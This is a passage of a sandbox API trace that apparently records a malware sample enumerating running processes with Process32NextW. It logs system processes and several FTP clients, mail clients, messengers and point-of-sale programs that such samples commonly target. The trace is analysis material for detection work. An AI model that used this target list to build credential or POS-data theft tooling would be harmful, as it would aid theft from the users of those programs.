out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.940] lstrlenW (lpString="svchost.exe") returned 11 [0091.940] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.940] lstrlenW (lpString="svchost.exe") returned 11 [0091.940] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.941] lstrlenW (lpString="svchost.exe") returned 11 [0091.941] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.941] lstrlenW (lpString="svchost.exe") returned 11 [0091.942] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.942] lstrlenW (lpString="svchost.exe") returned 11 [0091.942] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.943] lstrlenW (lpString="spoolsv.exe") returned 11 [0091.943] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.943] lstrlenW (lpString="svchost.exe") returned 11 [0091.943] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0092.288] lstrlenW (lpString="audiodg.exe") returned 11 [0092.288] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0092.289] lstrlenW (lpString="sihost.exe") returned 10 [0092.289] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.289] lstrlenW (lpString="svchost.exe") returned 11 [0092.289] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.290] lstrlenW (lpString="taskhostw.exe") returned 13 [0092.290] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0092.290] lstrlenW (lpString="explorer.exe") returned 12 [0092.291] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0092.291] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0092.291] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0092.292] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0092.292] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0092.292] lstrlenW (lpString="Memory Compression") returned 18 [0092.292] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0092.293] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0092.293] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0092.293] lstrlenW (lpString="SearchUI.exe") returned 12 [0092.294] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0092.294] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0092.294] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.295] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0092.295] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0092.295] lstrlenW (lpString="pending.exe") returned 11 [0092.295] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0092.296] lstrlenW (lpString="bug workers.exe") returned 15 [0092.296] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0092.296] lstrlenW (lpString="succeed.exe") returned 11 [0092.296] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0092.297] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0092.297] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0092.297] lstrlenW (lpString="bookings.exe") returned 12 [0092.297] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0092.298] lstrlenW (lpString="tramadol for.exe") returned 16 [0092.298] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0092.299] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0092.299] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0092.299] lstrlenW (lpString="starter detection.exe") returned 21 [0092.299] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0092.300] lstrlenW (lpString="unified aus.exe") returned 15 [0092.300] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0092.300] lstrlenW (lpString="taiwan registration.exe") returned 23 [0092.300] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0092.301] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0092.301] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0092.301] lstrlenW (lpString="headlines.exe") returned 13 [0092.301] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0092.302] lstrlenW (lpString="ash-method.exe") returned 14 [0092.302] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0092.302] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0092.303] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0092.304] lstrlenW (lpString="programmes officially.exe") returned 25 [0092.304] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0092.305] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0092.305] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0092.305] lstrlenW (lpString="george-depending.exe") returned 20 [0092.305] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0092.306] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0092.306] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0092.306] lstrlenW (lpString="repeat go.exe") returned 13 [0092.307] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0092.307] lstrlenW (lpString="showcase.exe") returned 12 [0092.307] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0092.308] lstrlenW (lpString="3dftp.exe") returned 9 [0092.308] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0092.309] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0092.309] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0092.310] lstrlenW (lpString="alftp.exe") returned 9 [0092.310] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0092.311] lstrlenW (lpString="barca.exe") returned 9 [0092.311] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0092.312] lstrlenW (lpString="bitkinex.exe") returned 12 [0092.312] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0092.313] lstrlenW (lpString="coreftp.exe") returned 11 [0092.313] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0092.314] lstrlenW (lpString="far.exe") returned 7 [0092.314] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0092.315] lstrlenW (lpString="filezilla.exe") returned 13 [0092.315] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0092.316] lstrlenW (lpString="flashfxp.exe") returned 12 [0092.316] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0092.316] lstrlenW (lpString="fling.exe") returned 9 [0092.317] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0092.317] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0092.317] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0092.318] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0092.318] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0092.320] lstrlenW (lpString="icq.exe") returned 7 [0092.320] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0092.321] lstrlenW (lpString="leechftp.exe") returned 12 [0092.321] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0092.322] lstrlenW (lpString="ncftp.exe") returned 9 [0092.322] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0092.323] lstrlenW (lpString="notepad.exe") returned 11 [0092.323] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0092.323] lstrlenW (lpString="operamail.exe") returned 13 [0092.323] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0092.324] lstrlenW (lpString="pidgin.exe") returned 10 [0092.324] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0092.325] lstrlenW (lpString="scriptftp.exe") returned 13 [0092.325] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0092.326] lstrlenW (lpString="skype.exe") returned 9 [0092.326] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0092.327] lstrlenW (lpString="smartftp.exe") returned 12 [0092.327] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0092.360] lstrlenW (lpString="thunderbird.exe") returned 15 [0092.360] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0092.361] lstrlenW (lpString="totalcmd.exe") returned 12 [0092.361] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0092.362] lstrlenW (lpString="trillian.exe") returned 12 [0092.362] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0092.362] lstrlenW (lpString="webdrive.exe") returned 12 [0092.363] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0092.363] lstrlenW (lpString="whatsapp.exe") returned 12 [0092.363] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0092.364] lstrlenW (lpString="winscp.exe") returned 10 [0092.364] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0092.365] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0092.365] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0092.382] lstrlenW (lpString="active-charge.exe") returned 17 [0092.382] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0092.383] lstrlenW (lpString="accupos.exe") returned 11 [0092.383] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0092.384] lstrlenW (lpString="afr38.exe") returned 9 [0092.384] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0092.385] lstrlenW (lpString="aldelo.exe") returned 10 [0092.385] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, 